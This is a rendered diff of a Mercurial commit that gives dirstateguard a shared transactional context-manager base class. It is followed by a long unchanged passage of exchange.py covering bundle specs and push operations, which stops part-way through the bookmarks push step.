##// END OF EJS Templates
util: add base class for transactional context managers...
Martin von Zweigbergk -
r33790:bbbbd3c3 default
parent child Browse files
Show More
@@ -1,78 +1,69 b''
1 1 # dirstateguard.py - class to allow restoring dirstate after failure
2 2 #
3 3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 from .i18n import _
11 11
12 12 from . import (
13 13 error,
14 util,
14 15 )
15 16
16 class dirstateguard(object):
17 class dirstateguard(util.transactional):
17 18 '''Restore dirstate at unexpected failure.
18 19
19 20 At the construction, this class does:
20 21
21 22 - write current ``repo.dirstate`` out, and
22 23 - save ``.hg/dirstate`` into the backup file
23 24
24 25 This restores ``.hg/dirstate`` from backup file, if ``release()``
25 26 is invoked before ``close()``.
26 27
27 28 This just removes the backup file at ``close()`` before ``release()``.
28 29 '''
29 30
30 31 def __init__(self, repo, name):
31 32 self._repo = repo
32 33 self._active = False
33 34 self._closed = False
34 35 self._backupname = 'dirstate.backup.%s.%d' % (name, id(self))
35 36 repo.dirstate.savebackup(repo.currenttransaction(), self._backupname)
36 37 self._active = True
37 38
38 39 def __del__(self):
39 40 if self._active: # still active
40 41 # this may occur, even if this class is used correctly:
41 42 # for example, releasing other resources like transaction
42 43 # may raise exception before ``dirstateguard.release`` in
43 44 # ``release(tr, ....)``.
44 45 self._abort()
45 46
46 def __enter__(self):
47 return self
48
49 def __exit__(self, exc_type, exc_val, exc_tb):
50 try:
51 if exc_type is None:
52 self.close()
53 finally:
54 self.release()
55
56 47 def close(self):
57 48 if not self._active: # already inactivated
58 49 msg = (_("can't close already inactivated backup: %s")
59 50 % self._backupname)
60 51 raise error.Abort(msg)
61 52
62 53 self._repo.dirstate.clearbackup(self._repo.currenttransaction(),
63 54 self._backupname)
64 55 self._active = False
65 56 self._closed = True
66 57
67 58 def _abort(self):
68 59 self._repo.dirstate.restorebackup(self._repo.currenttransaction(),
69 60 self._backupname)
70 61 self._active = False
71 62
72 63 def release(self):
73 64 if not self._closed:
74 65 if not self._active: # already inactivated
75 66 msg = (_("can't release already inactivated backup: %s")
76 67 % self._backupname)
77 68 raise error.Abort(msg)
78 69 self._abort()
@@ -1,2009 +1,2009 b''
1 1 # exchange.py - utility to exchange data between repos.
2 2 #
3 3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import hashlib
12 12
13 13 from .i18n import _
14 14 from .node import (
15 15 hex,
16 16 nullid,
17 17 )
18 18 from . import (
19 19 bookmarks as bookmod,
20 20 bundle2,
21 21 changegroup,
22 22 discovery,
23 23 error,
24 24 lock as lockmod,
25 25 obsolete,
26 26 phases,
27 27 pushkey,
28 28 pycompat,
29 29 scmutil,
30 30 sslutil,
31 31 streamclone,
32 32 url as urlmod,
33 33 util,
34 34 )
35 35
36 36 urlerr = util.urlerr
37 37 urlreq = util.urlreq
38 38
39 39 # Maps bundle version human names to changegroup versions.
40 40 _bundlespeccgversions = {'v1': '01',
41 41 'v2': '02',
42 42 'packed1': 's1',
43 43 'bundle2': '02', #legacy
44 44 }
45 45
46 46 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
47 47 _bundlespecv1compengines = {'gzip', 'bzip2', 'none'}
48 48
49 49 def parsebundlespec(repo, spec, strict=True, externalnames=False):
50 50 """Parse a bundle string specification into parts.
51 51
52 52 Bundle specifications denote a well-defined bundle/exchange format.
53 53 The content of a given specification should not change over time in
54 54 order to ensure that bundles produced by a newer version of Mercurial are
55 55 readable from an older version.
56 56
57 57 The string currently has the form:
58 58
59 59 <compression>-<type>[;<parameter0>[;<parameter1>]]
60 60
61 61 Where <compression> is one of the supported compression formats
62 62 and <type> is (currently) a version string. A ";" can follow the type and
63 63 all text afterwards is interpreted as URI encoded, ";" delimited key=value
64 64 pairs.
65 65
66 66 If ``strict`` is True (the default) <compression> is required. Otherwise,
67 67 it is optional.
68 68
69 69 If ``externalnames`` is False (the default), the human-centric names will
70 70 be converted to their internal representation.
71 71
72 72 Returns a 3-tuple of (compression, version, parameters). Compression will
73 73 be ``None`` if not in strict mode and a compression isn't defined.
74 74
75 75 An ``InvalidBundleSpecification`` is raised when the specification is
76 76 not syntactically well formed.
77 77
78 78 An ``UnsupportedBundleSpecification`` is raised when the compression or
79 79 bundle type/version is not recognized.
80 80
81 81 Note: this function will likely eventually return a more complex data
82 82 structure, including bundle2 part information.
83 83 """
84 84 def parseparams(s):
85 85 if ';' not in s:
86 86 return s, {}
87 87
88 88 params = {}
89 89 version, paramstr = s.split(';', 1)
90 90
91 91 for p in paramstr.split(';'):
92 92 if '=' not in p:
93 93 raise error.InvalidBundleSpecification(
94 94 _('invalid bundle specification: '
95 95 'missing "=" in parameter: %s') % p)
96 96
97 97 key, value = p.split('=', 1)
98 98 key = urlreq.unquote(key)
99 99 value = urlreq.unquote(value)
100 100 params[key] = value
101 101
102 102 return version, params
103 103
104 104
105 105 if strict and '-' not in spec:
106 106 raise error.InvalidBundleSpecification(
107 107 _('invalid bundle specification; '
108 108 'must be prefixed with compression: %s') % spec)
109 109
110 110 if '-' in spec:
111 111 compression, version = spec.split('-', 1)
112 112
113 113 if compression not in util.compengines.supportedbundlenames:
114 114 raise error.UnsupportedBundleSpecification(
115 115 _('%s compression is not supported') % compression)
116 116
117 117 version, params = parseparams(version)
118 118
119 119 if version not in _bundlespeccgversions:
120 120 raise error.UnsupportedBundleSpecification(
121 121 _('%s is not a recognized bundle version') % version)
122 122 else:
123 123 # Value could be just the compression or just the version, in which
124 124 # case some defaults are assumed (but only when not in strict mode).
125 125 assert not strict
126 126
127 127 spec, params = parseparams(spec)
128 128
129 129 if spec in util.compengines.supportedbundlenames:
130 130 compression = spec
131 131 version = 'v1'
132 132 # Generaldelta repos require v2.
133 133 if 'generaldelta' in repo.requirements:
134 134 version = 'v2'
135 135 # Modern compression engines require v2.
136 136 if compression not in _bundlespecv1compengines:
137 137 version = 'v2'
138 138 elif spec in _bundlespeccgversions:
139 139 if spec == 'packed1':
140 140 compression = 'none'
141 141 else:
142 142 compression = 'bzip2'
143 143 version = spec
144 144 else:
145 145 raise error.UnsupportedBundleSpecification(
146 146 _('%s is not a recognized bundle specification') % spec)
147 147
148 148 # Bundle version 1 only supports a known set of compression engines.
149 149 if version == 'v1' and compression not in _bundlespecv1compengines:
150 150 raise error.UnsupportedBundleSpecification(
151 151 _('compression engine %s is not supported on v1 bundles') %
152 152 compression)
153 153
154 154 # The specification for packed1 can optionally declare the data formats
155 155 # required to apply it. If we see this metadata, compare against what the
156 156 # repo supports and error if the bundle isn't compatible.
157 157 if version == 'packed1' and 'requirements' in params:
158 158 requirements = set(params['requirements'].split(','))
159 159 missingreqs = requirements - repo.supportedformats
160 160 if missingreqs:
161 161 raise error.UnsupportedBundleSpecification(
162 162 _('missing support for repository features: %s') %
163 163 ', '.join(sorted(missingreqs)))
164 164
165 165 if not externalnames:
166 166 engine = util.compengines.forbundlename(compression)
167 167 compression = engine.bundletype()[1]
168 168 version = _bundlespeccgversions[version]
169 169 return compression, version, params
170 170
171 171 def readbundle(ui, fh, fname, vfs=None):
172 172 header = changegroup.readexactly(fh, 4)
173 173
174 174 alg = None
175 175 if not fname:
176 176 fname = "stream"
177 177 if not header.startswith('HG') and header.startswith('\0'):
178 178 fh = changegroup.headerlessfixup(fh, header)
179 179 header = "HG10"
180 180 alg = 'UN'
181 181 elif vfs:
182 182 fname = vfs.join(fname)
183 183
184 184 magic, version = header[0:2], header[2:4]
185 185
186 186 if magic != 'HG':
187 187 raise error.Abort(_('%s: not a Mercurial bundle') % fname)
188 188 if version == '10':
189 189 if alg is None:
190 190 alg = changegroup.readexactly(fh, 2)
191 191 return changegroup.cg1unpacker(fh, alg)
192 192 elif version.startswith('2'):
193 193 return bundle2.getunbundler(ui, fh, magicstring=magic + version)
194 194 elif version == 'S1':
195 195 return streamclone.streamcloneapplier(fh)
196 196 else:
197 197 raise error.Abort(_('%s: unknown bundle version %s') % (fname, version))
198 198
199 199 def getbundlespec(ui, fh):
200 200 """Infer the bundlespec from a bundle file handle.
201 201
202 202 The input file handle is seeked and the original seek position is not
203 203 restored.
204 204 """
205 205 def speccompression(alg):
206 206 try:
207 207 return util.compengines.forbundletype(alg).bundletype()[0]
208 208 except KeyError:
209 209 return None
210 210
211 211 b = readbundle(ui, fh, None)
212 212 if isinstance(b, changegroup.cg1unpacker):
213 213 alg = b._type
214 214 if alg == '_truncatedBZ':
215 215 alg = 'BZ'
216 216 comp = speccompression(alg)
217 217 if not comp:
218 218 raise error.Abort(_('unknown compression algorithm: %s') % alg)
219 219 return '%s-v1' % comp
220 220 elif isinstance(b, bundle2.unbundle20):
221 221 if 'Compression' in b.params:
222 222 comp = speccompression(b.params['Compression'])
223 223 if not comp:
224 224 raise error.Abort(_('unknown compression algorithm: %s') % comp)
225 225 else:
226 226 comp = 'none'
227 227
228 228 version = None
229 229 for part in b.iterparts():
230 230 if part.type == 'changegroup':
231 231 version = part.params['version']
232 232 if version in ('01', '02'):
233 233 version = 'v2'
234 234 else:
235 235 raise error.Abort(_('changegroup version %s does not have '
236 236 'a known bundlespec') % version,
237 237 hint=_('try upgrading your Mercurial '
238 238 'client'))
239 239
240 240 if not version:
241 241 raise error.Abort(_('could not identify changegroup version in '
242 242 'bundle'))
243 243
244 244 return '%s-%s' % (comp, version)
245 245 elif isinstance(b, streamclone.streamcloneapplier):
246 246 requirements = streamclone.readbundle1header(fh)[2]
247 247 params = 'requirements=%s' % ','.join(sorted(requirements))
248 248 return 'none-packed1;%s' % urlreq.quote(params)
249 249 else:
250 250 raise error.Abort(_('unknown bundle type: %s') % b)
251 251
252 252 def _computeoutgoing(repo, heads, common):
253 253 """Computes which revs are outgoing given a set of common
254 254 and a set of heads.
255 255
256 256 This is a separate function so extensions can have access to
257 257 the logic.
258 258
259 259 Returns a discovery.outgoing object.
260 260 """
261 261 cl = repo.changelog
262 262 if common:
263 263 hasnode = cl.hasnode
264 264 common = [n for n in common if hasnode(n)]
265 265 else:
266 266 common = [nullid]
267 267 if not heads:
268 268 heads = cl.heads()
269 269 return discovery.outgoing(repo, common, heads)
270 270
271 271 def _forcebundle1(op):
272 272 """return true if a pull/push must use bundle1
273 273
274 274 This function is used to allow testing of the older bundle version"""
275 275 ui = op.repo.ui
276 276 forcebundle1 = False
277 277 # The goal is this config is to allow developer to choose the bundle
278 278 # version used during exchanged. This is especially handy during test.
279 279 # Value is a list of bundle version to be picked from, highest version
280 280 # should be used.
281 281 #
282 282 # developer config: devel.legacy.exchange
283 283 exchange = ui.configlist('devel', 'legacy.exchange')
284 284 forcebundle1 = 'bundle2' not in exchange and 'bundle1' in exchange
285 285 return forcebundle1 or not op.remote.capable('bundle2')
286 286
287 287 class pushoperation(object):
288 288 """A object that represent a single push operation
289 289
290 290 Its purpose is to carry push related state and very common operations.
291 291
292 292 A new pushoperation should be created at the beginning of each push and
293 293 discarded afterward.
294 294 """
295 295
296 296 def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
297 297 bookmarks=()):
298 298 # repo we push from
299 299 self.repo = repo
300 300 self.ui = repo.ui
301 301 # repo we push to
302 302 self.remote = remote
303 303 # force option provided
304 304 self.force = force
305 305 # revs to be pushed (None is "all")
306 306 self.revs = revs
307 307 # bookmark explicitly pushed
308 308 self.bookmarks = bookmarks
309 309 # allow push of new branch
310 310 self.newbranch = newbranch
311 311 # step already performed
312 312 # (used to check what steps have been already performed through bundle2)
313 313 self.stepsdone = set()
314 314 # Integer version of the changegroup push result
315 315 # - None means nothing to push
316 316 # - 0 means HTTP error
317 317 # - 1 means we pushed and remote head count is unchanged *or*
318 318 # we have outgoing changesets but refused to push
319 319 # - other values as described by addchangegroup()
320 320 self.cgresult = None
321 321 # Boolean value for the bookmark push
322 322 self.bkresult = None
323 323 # discover.outgoing object (contains common and outgoing data)
324 324 self.outgoing = None
325 325 # all remote topological heads before the push
326 326 self.remoteheads = None
327 327 # Details of the remote branch pre and post push
328 328 #
329 329 # mapping: {'branch': ([remoteheads],
330 330 # [newheads],
331 331 # [unsyncedheads],
332 332 # [discardedheads])}
333 333 # - branch: the branch name
334 334 # - remoteheads: the list of remote heads known locally
335 335 # None if the branch is new
336 336 # - newheads: the new remote heads (known locally) with outgoing pushed
337 337 # - unsyncedheads: the list of remote heads unknown locally.
338 338 # - discardedheads: the list of remote heads made obsolete by the push
339 339 self.pushbranchmap = None
340 340 # testable as a boolean indicating if any nodes are missing locally.
341 341 self.incoming = None
342 342 # phases changes that must be pushed along side the changesets
343 343 self.outdatedphases = None
344 344 # phases changes that must be pushed if changeset push fails
345 345 self.fallbackoutdatedphases = None
346 346 # outgoing obsmarkers
347 347 self.outobsmarkers = set()
348 348 # outgoing bookmarks
349 349 self.outbookmarks = []
350 350 # transaction manager
351 351 self.trmanager = None
352 352 # map { pushkey partid -> callback handling failure}
353 353 # used to handle exception from mandatory pushkey part failure
354 354 self.pkfailcb = {}
355 355
356 356 @util.propertycache
357 357 def futureheads(self):
358 358 """future remote heads if the changeset push succeeds"""
359 359 return self.outgoing.missingheads
360 360
361 361 @util.propertycache
362 362 def fallbackheads(self):
363 363 """future remote heads if the changeset push fails"""
364 364 if self.revs is None:
365 365 # not target to push, all common are relevant
366 366 return self.outgoing.commonheads
367 367 unfi = self.repo.unfiltered()
368 368 # I want cheads = heads(::missingheads and ::commonheads)
369 369 # (missingheads is revs with secret changeset filtered out)
370 370 #
371 371 # This can be expressed as:
372 372 # cheads = ( (missingheads and ::commonheads)
373 373 # + (commonheads and ::missingheads))"
374 374 # )
375 375 #
376 376 # while trying to push we already computed the following:
377 377 # common = (::commonheads)
378 378 # missing = ((commonheads::missingheads) - commonheads)
379 379 #
380 380 # We can pick:
381 381 # * missingheads part of common (::commonheads)
382 382 common = self.outgoing.common
383 383 nm = self.repo.changelog.nodemap
384 384 cheads = [node for node in self.revs if nm[node] in common]
385 385 # and
386 386 # * commonheads parents on missing
387 387 revset = unfi.set('%ln and parents(roots(%ln))',
388 388 self.outgoing.commonheads,
389 389 self.outgoing.missing)
390 390 cheads.extend(c.node() for c in revset)
391 391 return cheads
392 392
393 393 @property
394 394 def commonheads(self):
395 395 """set of all common heads after changeset bundle push"""
396 396 if self.cgresult:
397 397 return self.futureheads
398 398 else:
399 399 return self.fallbackheads
400 400
401 401 # mapping of message used when pushing bookmark
402 402 bookmsgmap = {'update': (_("updating bookmark %s\n"),
403 403 _('updating bookmark %s failed!\n')),
404 404 'export': (_("exporting bookmark %s\n"),
405 405 _('exporting bookmark %s failed!\n')),
406 406 'delete': (_("deleting remote bookmark %s\n"),
407 407 _('deleting remote bookmark %s failed!\n')),
408 408 }
409 409
410 410
411 411 def push(repo, remote, force=False, revs=None, newbranch=False, bookmarks=(),
412 412 opargs=None):
413 413 '''Push outgoing changesets (limited by revs) from a local
414 414 repository to remote. Return an integer:
415 415 - None means nothing to push
416 416 - 0 means HTTP error
417 417 - 1 means we pushed and remote head count is unchanged *or*
418 418 we have outgoing changesets but refused to push
419 419 - other values as described by addchangegroup()
420 420 '''
421 421 if opargs is None:
422 422 opargs = {}
423 423 pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
424 424 **opargs)
425 425 if pushop.remote.local():
426 426 missing = (set(pushop.repo.requirements)
427 427 - pushop.remote.local().supported)
428 428 if missing:
429 429 msg = _("required features are not"
430 430 " supported in the destination:"
431 431 " %s") % (', '.join(sorted(missing)))
432 432 raise error.Abort(msg)
433 433
434 434 if not pushop.remote.canpush():
435 435 raise error.Abort(_("destination does not support push"))
436 436
437 437 if not pushop.remote.capable('unbundle'):
438 438 raise error.Abort(_('cannot push: destination does not support the '
439 439 'unbundle wire protocol command'))
440 440
441 441 # get lock as we might write phase data
442 442 wlock = lock = None
443 443 try:
444 444 # bundle2 push may receive a reply bundle touching bookmarks or other
445 445 # things requiring the wlock. Take it now to ensure proper ordering.
446 446 maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
447 447 if (not _forcebundle1(pushop)) and maypushback:
448 448 wlock = pushop.repo.wlock()
449 449 lock = pushop.repo.lock()
450 450 pushop.trmanager = transactionmanager(pushop.repo,
451 451 'push-response',
452 452 pushop.remote.url())
453 453 except IOError as err:
454 454 if err.errno != errno.EACCES:
455 455 raise
456 456 # source repo cannot be locked.
457 457 # We do not abort the push, but just disable the local phase
458 458 # synchronisation.
459 459 msg = 'cannot lock source repository: %s\n' % err
460 460 pushop.ui.debug(msg)
461 461
462 462 try:
463 463 pushop.repo.checkpush(pushop)
464 464 _pushdiscovery(pushop)
465 465 if not _forcebundle1(pushop):
466 466 _pushbundle2(pushop)
467 467 _pushchangeset(pushop)
468 468 _pushsyncphase(pushop)
469 469 _pushobsolete(pushop)
470 470 _pushbookmark(pushop)
471 471
472 472 if pushop.trmanager:
473 473 pushop.trmanager.close()
474 474 finally:
475 475 if pushop.trmanager:
476 476 pushop.trmanager.release()
477 477 if lock is not None:
478 478 lock.release()
479 479 if wlock is not None:
480 480 wlock.release()
481 481
482 482 return pushop
483 483
484 484 # list of steps to perform discovery before push
485 485 pushdiscoveryorder = []
486 486
487 487 # Mapping between step name and function
488 488 #
489 489 # This exists to help extensions wrap steps if necessary
490 490 pushdiscoverymapping = {}
491 491
492 492 def pushdiscovery(stepname):
493 493 """decorator for function performing discovery before push
494 494
495 495 The function is added to the step -> function mapping and appended to the
496 496 list of steps. Beware that decorated function will be added in order (this
497 497 may matter).
498 498
499 499 You can only use this decorator for a new step, if you want to wrap a step
500 500 from an extension, change the pushdiscovery dictionary directly."""
501 501 def dec(func):
502 502 assert stepname not in pushdiscoverymapping
503 503 pushdiscoverymapping[stepname] = func
504 504 pushdiscoveryorder.append(stepname)
505 505 return func
506 506 return dec
507 507
508 508 def _pushdiscovery(pushop):
509 509 """Run all discovery steps"""
510 510 for stepname in pushdiscoveryorder:
511 511 step = pushdiscoverymapping[stepname]
512 512 step(pushop)
513 513
514 514 @pushdiscovery('changeset')
515 515 def _pushdiscoverychangeset(pushop):
516 516 """discover the changeset that need to be pushed"""
517 517 fci = discovery.findcommonincoming
518 518 commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
519 519 common, inc, remoteheads = commoninc
520 520 fco = discovery.findcommonoutgoing
521 521 outgoing = fco(pushop.repo, pushop.remote, onlyheads=pushop.revs,
522 522 commoninc=commoninc, force=pushop.force)
523 523 pushop.outgoing = outgoing
524 524 pushop.remoteheads = remoteheads
525 525 pushop.incoming = inc
526 526
527 527 @pushdiscovery('phase')
528 528 def _pushdiscoveryphase(pushop):
529 529 """discover the phase that needs to be pushed
530 530
531 531 (computed for both success and failure case for changesets push)"""
532 532 outgoing = pushop.outgoing
533 533 unfi = pushop.repo.unfiltered()
534 534 remotephases = pushop.remote.listkeys('phases')
535 535 publishing = remotephases.get('publishing', False)
536 536 if (pushop.ui.configbool('ui', '_usedassubrepo')
537 537 and remotephases # server supports phases
538 538 and not pushop.outgoing.missing # no changesets to be pushed
539 539 and publishing):
540 540 # When:
541 541 # - this is a subrepo push
542 542 # - and remote support phase
543 543 # - and no changeset are to be pushed
544 544 # - and remote is publishing
545 545 # We may be in issue 3871 case!
546 546 # We drop the possible phase synchronisation done by
547 547 # courtesy to publish changesets possibly locally draft
548 548 # on the remote.
549 549 remotephases = {'publishing': 'True'}
550 550 ana = phases.analyzeremotephases(pushop.repo,
551 551 pushop.fallbackheads,
552 552 remotephases)
553 553 pheads, droots = ana
554 554 extracond = ''
555 555 if not publishing:
556 556 extracond = ' and public()'
557 557 revset = 'heads((%%ln::%%ln) %s)' % extracond
558 558 # Get the list of all revs draft on remote by public here.
559 559 # XXX Beware that revset break if droots is not strictly
560 560 # XXX root we may want to ensure it is but it is costly
561 561 fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
562 562 if not outgoing.missing:
563 563 future = fallback
564 564 else:
565 565 # adds changeset we are going to push as draft
566 566 #
567 567 # should not be necessary for publishing server, but because of an
568 568 # issue fixed in xxxxx we have to do it anyway.
569 569 fdroots = list(unfi.set('roots(%ln + %ln::)',
570 570 outgoing.missing, droots))
571 571 fdroots = [f.node() for f in fdroots]
572 572 future = list(unfi.set(revset, fdroots, pushop.futureheads))
573 573 pushop.outdatedphases = future
574 574 pushop.fallbackoutdatedphases = fallback
575 575
576 576 @pushdiscovery('obsmarker')
577 577 def _pushdiscoveryobsmarkers(pushop):
578 578 if (obsolete.isenabled(pushop.repo, obsolete.exchangeopt)
579 579 and pushop.repo.obsstore
580 580 and 'obsolete' in pushop.remote.listkeys('namespaces')):
581 581 repo = pushop.repo
582 582 # very naive computation, that can be quite expensive on big repo.
583 583 # However: evolution is currently slow on them anyway.
584 584 nodes = (c.node() for c in repo.set('::%ln', pushop.futureheads))
585 585 pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
586 586
587 587 @pushdiscovery('bookmarks')
588 588 def _pushdiscoverybookmarks(pushop):
589 589 ui = pushop.ui
590 590 repo = pushop.repo.unfiltered()
591 591 remote = pushop.remote
592 592 ui.debug("checking for updated bookmarks\n")
593 593 ancestors = ()
594 594 if pushop.revs:
595 595 revnums = map(repo.changelog.rev, pushop.revs)
596 596 ancestors = repo.changelog.ancestors(revnums, inclusive=True)
597 597 remotebookmark = remote.listkeys('bookmarks')
598 598
599 599 explicit = set([repo._bookmarks.expandname(bookmark)
600 600 for bookmark in pushop.bookmarks])
601 601
602 602 remotebookmark = bookmod.unhexlifybookmarks(remotebookmark)
603 603 comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
604 604
605 605 def safehex(x):
606 606 if x is None:
607 607 return x
608 608 return hex(x)
609 609
610 610 def hexifycompbookmarks(bookmarks):
611 611 for b, scid, dcid in bookmarks:
612 612 yield b, safehex(scid), safehex(dcid)
613 613
614 614 comp = [hexifycompbookmarks(marks) for marks in comp]
615 615 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
616 616
617 617 for b, scid, dcid in advsrc:
618 618 if b in explicit:
619 619 explicit.remove(b)
620 620 if not ancestors or repo[scid].rev() in ancestors:
621 621 pushop.outbookmarks.append((b, dcid, scid))
622 622 # search added bookmark
623 623 for b, scid, dcid in addsrc:
624 624 if b in explicit:
625 625 explicit.remove(b)
626 626 pushop.outbookmarks.append((b, '', scid))
627 627 # search for overwritten bookmark
628 628 for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
629 629 if b in explicit:
630 630 explicit.remove(b)
631 631 pushop.outbookmarks.append((b, dcid, scid))
632 632 # search for bookmark to delete
633 633 for b, scid, dcid in adddst:
634 634 if b in explicit:
635 635 explicit.remove(b)
636 636 # treat as "deleted locally"
637 637 pushop.outbookmarks.append((b, dcid, ''))
638 638 # identical bookmarks shouldn't get reported
639 639 for b, scid, dcid in same:
640 640 if b in explicit:
641 641 explicit.remove(b)
642 642
643 643 if explicit:
644 644 explicit = sorted(explicit)
645 645 # we should probably list all of them
646 646 ui.warn(_('bookmark %s does not exist on the local '
647 647 'or remote repository!\n') % explicit[0])
648 648 pushop.bkresult = 2
649 649
650 650 pushop.outbookmarks.sort()
651 651
652 652 def _pushcheckoutgoing(pushop):
653 653 outgoing = pushop.outgoing
654 654 unfi = pushop.repo.unfiltered()
655 655 if not outgoing.missing:
656 656 # nothing to push
657 657 scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
658 658 return False
659 659 # something to push
660 660 if not pushop.force:
661 661 # if repo.obsstore == False --> no obsolete
662 662 # then, save the iteration
663 663 if unfi.obsstore:
664 664 # this message are here for 80 char limit reason
665 665 mso = _("push includes obsolete changeset: %s!")
666 666 mspd = _("push includes phase-divergent changeset: %s!")
667 667 mscd = _("push includes content-divergent changeset: %s!")
668 668 mst = {"orphan": _("push includes orphan changeset: %s!"),
669 669 "phase-divergent": mspd,
670 670 "content-divergent": mscd}
671 671 # If we are to push if there is at least one
672 672 # obsolete or unstable changeset in missing, at
673 673 # least one of the missinghead will be obsolete or
674 674 # unstable. So checking heads only is ok
675 675 for node in outgoing.missingheads:
676 676 ctx = unfi[node]
677 677 if ctx.obsolete():
678 678 raise error.Abort(mso % ctx)
679 679 elif ctx.isunstable():
680 680 # TODO print more than one instability in the abort
681 681 # message
682 682 raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
683 683
684 684 discovery.checkheads(pushop)
685 685 return True
686 686
687 687 # List of names of steps to perform for an outgoing bundle2, order matters.
688 688 b2partsgenorder = []
689 689
690 690 # Mapping between step name and function
691 691 #
692 692 # This exists to help extensions wrap steps if necessary
693 693 b2partsgenmapping = {}
694 694
695 695 def b2partsgenerator(stepname, idx=None):
696 696 """decorator for function generating bundle2 part
697 697
698 698 The function is added to the step -> function mapping and appended to the
699 699 list of steps. Beware that decorated functions will be added in order
700 700 (this may matter).
701 701
702 702 You can only use this decorator for new steps, if you want to wrap a step
703 703 from an extension, attack the b2partsgenmapping dictionary directly."""
704 704 def dec(func):
705 705 assert stepname not in b2partsgenmapping
706 706 b2partsgenmapping[stepname] = func
707 707 if idx is None:
708 708 b2partsgenorder.append(stepname)
709 709 else:
710 710 b2partsgenorder.insert(idx, stepname)
711 711 return func
712 712 return dec
713 713
714 714 def _pushb2ctxcheckheads(pushop, bundler):
715 715 """Generate race condition checking parts
716 716
717 717 Exists as an independent function to aid extensions
718 718 """
719 719 # * 'force' do not check for push race,
720 720 # * if we don't push anything, there are nothing to check.
721 721 if not pushop.force and pushop.outgoing.missingheads:
722 722 allowunrelated = 'related' in bundler.capabilities.get('checkheads', ())
723 723 emptyremote = pushop.pushbranchmap is None
724 724 if not allowunrelated or emptyremote:
725 725 bundler.newpart('check:heads', data=iter(pushop.remoteheads))
726 726 else:
727 727 affected = set()
728 728 for branch, heads in pushop.pushbranchmap.iteritems():
729 729 remoteheads, newheads, unsyncedheads, discardedheads = heads
730 730 if remoteheads is not None:
731 731 remote = set(remoteheads)
732 732 affected |= set(discardedheads) & remote
733 733 affected |= remote - set(newheads)
734 734 if affected:
735 735 data = iter(sorted(affected))
736 736 bundler.newpart('check:updated-heads', data=data)
737 737
738 738 @b2partsgenerator('changeset')
739 739 def _pushb2ctx(pushop, bundler):
740 740 """handle changegroup push through bundle2
741 741
742 742 addchangegroup result is stored in the ``pushop.cgresult`` attribute.
743 743 """
744 744 if 'changesets' in pushop.stepsdone:
745 745 return
746 746 pushop.stepsdone.add('changesets')
747 747 # Send known heads to the server for race detection.
748 748 if not _pushcheckoutgoing(pushop):
749 749 return
750 750 pushop.repo.prepushoutgoinghooks(pushop)
751 751
752 752 _pushb2ctxcheckheads(pushop, bundler)
753 753
754 754 b2caps = bundle2.bundle2caps(pushop.remote)
755 755 version = '01'
756 756 cgversions = b2caps.get('changegroup')
757 757 if cgversions: # 3.1 and 3.2 ship with an empty value
758 758 cgversions = [v for v in cgversions
759 759 if v in changegroup.supportedoutgoingversions(
760 760 pushop.repo)]
761 761 if not cgversions:
762 762 raise ValueError(_('no common changegroup version'))
763 763 version = max(cgversions)
764 764 cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
765 765 pushop.outgoing,
766 766 version=version)
767 767 cgpart = bundler.newpart('changegroup', data=cg)
768 768 if cgversions:
769 769 cgpart.addparam('version', version)
770 770 if 'treemanifest' in pushop.repo.requirements:
771 771 cgpart.addparam('treemanifest', '1')
772 772 def handlereply(op):
773 773 """extract addchangegroup returns from server reply"""
774 774 cgreplies = op.records.getreplies(cgpart.id)
775 775 assert len(cgreplies['changegroup']) == 1
776 776 pushop.cgresult = cgreplies['changegroup'][0]['return']
777 777 return handlereply
778 778
779 779 @b2partsgenerator('phase')
780 780 def _pushb2phases(pushop, bundler):
781 781 """handle phase push through bundle2"""
782 782 if 'phases' in pushop.stepsdone:
783 783 return
784 784 b2caps = bundle2.bundle2caps(pushop.remote)
785 785 if not 'pushkey' in b2caps:
786 786 return
787 787 pushop.stepsdone.add('phases')
788 788 part2node = []
789 789
790 790 def handlefailure(pushop, exc):
791 791 targetid = int(exc.partid)
792 792 for partid, node in part2node:
793 793 if partid == targetid:
794 794 raise error.Abort(_('updating %s to public failed') % node)
795 795
796 796 enc = pushkey.encode
797 797 for newremotehead in pushop.outdatedphases:
798 798 part = bundler.newpart('pushkey')
799 799 part.addparam('namespace', enc('phases'))
800 800 part.addparam('key', enc(newremotehead.hex()))
801 801 part.addparam('old', enc(str(phases.draft)))
802 802 part.addparam('new', enc(str(phases.public)))
803 803 part2node.append((part.id, newremotehead))
804 804 pushop.pkfailcb[part.id] = handlefailure
805 805
806 806 def handlereply(op):
807 807 for partid, node in part2node:
808 808 partrep = op.records.getreplies(partid)
809 809 results = partrep['pushkey']
810 810 assert len(results) <= 1
811 811 msg = None
812 812 if not results:
813 813 msg = _('server ignored update of %s to public!\n') % node
814 814 elif not int(results[0]['return']):
815 815 msg = _('updating %s to public failed!\n') % node
816 816 if msg is not None:
817 817 pushop.ui.warn(msg)
818 818 return handlereply
819 819
820 820 @b2partsgenerator('obsmarkers')
821 821 def _pushb2obsmarkers(pushop, bundler):
822 822 if 'obsmarkers' in pushop.stepsdone:
823 823 return
824 824 remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
825 825 if obsolete.commonversion(remoteversions) is None:
826 826 return
827 827 pushop.stepsdone.add('obsmarkers')
828 828 if pushop.outobsmarkers:
829 829 markers = sorted(pushop.outobsmarkers)
830 830 bundle2.buildobsmarkerspart(bundler, markers)
831 831
832 832 @b2partsgenerator('bookmarks')
833 833 def _pushb2bookmarks(pushop, bundler):
